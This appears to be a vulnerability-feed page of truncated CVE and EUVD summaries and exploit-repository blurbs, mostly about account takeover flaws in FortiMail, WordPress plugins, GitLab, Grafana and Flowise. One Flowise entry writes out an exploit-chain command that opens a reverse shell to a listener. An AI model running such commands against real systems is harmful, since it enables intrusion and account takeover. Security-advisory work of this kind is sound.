WP DSGVO Tools (GDPR) <= 3.1.22 - Unauthenticated Stored Cross-Site Scripting

The WP DSGVO Tools GDPR plugin for WordPress is vulnerable to Stored Cross-Site Scripting via an unknown parameter in versions up to, and including, 3.1.23 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web...

EUVD-2026-123828

A incorrect implementation of authentication algorithm vulnerability in Fortinet FortiMail 8.0.0 through 8.0.1, FortiMail 7.6.0 through 7.6.6, FortiMail 7.4.0 through 7.4.8, FortiMail 7.2 all versions may allow an unauthenticated remote attacker to gain elevation of privilege account takeover via...

EUVD-2026-123821

A weak password recovery mechanism for forgotten password vulnerability in Fortinet FortiMail 8.0.0, FortiMail 7.6.0 through 7.6.5, FortiMail 7.4.0 through 7.4.7, FortiMail 7.2.0 through 7.2.9 may allow an unauthenticated attacker to reset the password of an arbitrary IBE webmail user and take ov...

CVE-2026-126151

Fortinet FortiMail products, specifically versions 8.0.0 through 8.0.1 , 7.6.0 through 7.6.6 , 7.4.0 through 7.4.8 , and all versions of 7.2 , are vulnerable to an incorrect implementation of authentication algorithm (CWE-303). This flaw may allow an unauthenticated remote attacker to achieve ele...

CVE-2026-126150

A weak password recovery mechanism (CWE-640) and Missing Authentication for Critical Function (CWE-306) in Fortinet FortiMail versions 8.0.0 , 7.6.0 through 7.6.5 , 7.4.0 through 7.4.7 , and 7.2.0 through 7.2.9 allow an unauthenticated attacker to reset the password of an arbitrary IBE webmail us...

CVE-2026-126801

Rote versions 1.2.0 through 2.6.0 are vulnerable to an authorization bypass in the OAuth bind/merge endpoint. This flaw allows authenticated users to merge any OAuth-bound account into their own by submitting a public existingUserId and a GitHub or Apple user ID . Successful exploitation results ...

EUVD-2026-124016

Rote 1.2.0 through 2.6.0 contains an authorization bypass in the OAuth bind/merge endpoint that allows authenticated users to merge any OAuth-bound account into their own. Attackers can submit a public existingUserId and GitHub or Apple user ID to take over notes, attachments, and API keys and...

CVE-2026-65840

The Fider feedback portal (versions prior to 0.36.0 ) contains a critical authorization bypass in multi-tenant mode (HOST_MODE=multi). The vulnerability exists because the getVerificationByKey function fails to filter by tenant_id, allowing an attacker to use an email verification key from Tenant...

CVE-2026-106152

In Progress Telerik Report Server prior to version 12.3.26.1110 , an external control of a system configuration setting vulnerability (CWE-15) exists. This flaw allows an unauthenticated remote attacker to manipulate the server address used for generating links and notifications. With user intera...

EUVD-2026-123633

In Progress® Telerik® Report Server prior to version 12.3.26.1110, an external control of a system configuration setting vulnerability allows an unauthenticated remote attacker to influence the server address used by Report Server when generating links and notifications. With user interaction, th...

Vehicle-Service-Management-System-Multiple-Cookie-Stealing-Leads-to-Full-Account-Takeover

CVE-2021-46067 Exploit Title: Vehicle Service Management System - 'Multiple' Cookie Stealing Leads to Full Account Takeover Exploit Author: SANU P.L CVE: CVE-2021-46067 CVSS: 9.8 CRITICAL References:...

CVE-2026-8206-Lab

CVE-2026-8206 - Kirki Account Takeover Lab Local Docker lab for demonstrating CVE-2026-8206 in the Kirki WordPress plugin. This repository compares the real Kirki plugin releases: vuln: Kirki 6.0.6 patched: Kirki 6.0.7 The lab is local-only and binds WordPress services to 127.0.0.1. The PoC is...

CVE-2026-18963

Keycloak Reset Path Finder Nuclei template to discover exposed Keycloak reset-credentials endpoints across multiple proxy prefixes, context paths, realm names, and path variations. Summary This template helps identify reachable password reset flows that may be relevant during validation of...

Blackash-CVE-2025-41115

🔐 CVE-2025-41115: Critical Grafana SCIM Privilege Escalation Critical SCIM Privilege-Escalation Vulnerability in Grafana Enterprise 🌟 Summary CVE-2025-41115 is a Critical CVSS 10.0 vulnerability in Grafana Enterprise affecting its SCIM user-provisioning feature. When SCIM provisioning is enabled...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Exploit chain for two vulnerabilities affecting Flowise -c "id" Reverse shell with existing key: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 Options Flag| Description ---|--- -t, --target| Target URL -e, --email| Target account...

EUVD-2026-123362

The 6Storage Rentals plugin for WordPress is vulnerable to Authentication Bypass leading to Administrator Account Takeover in all versions up to, and including, 2.31.0. The vulnerability exists because the sixstorageportalregistration AJAX handler — registered on...

CVE-2026-103883

The 6Storage Rentals plugin for WordPress (versions up to and including 2.31.0 ) is vulnerable to an Authentication Bypass leading to Administrator Account Takeover . The flaw exists because the six_storage_portal_registration() AJAX handler fails to perform capability checks or nonce verificatio...

CVE-2025-492030

CVE-2025-492030 Security Advisory: CVE-2025-492030 Overview A critical vulnerability has been identified in the SecureVPN application, which allows for account takeover through a vulnerable API endpoint. This flaw could enable attackers to gain unauthorized access to user accounts, potentially...

CVE-2023-7028

CVE-2023-7028 Exploit - GitLab Password Reset Poisoning Vulnerability Overview This repository contains an exploit for CVE-2023-7028 , a critical vulnerability in GitLab that allows an attacker to abuse the password reset functionality and take over accounts, including administrator accounts...

CVE-2023-7028

Introduction GitLab is a widely adopted web-based repository manager that provides a comprehensive platform for managing source code, integration, maintenance, and collaboration in software development projects. CVE-2023-7028 is a vulnerability that allows an attacker to take over user accounts...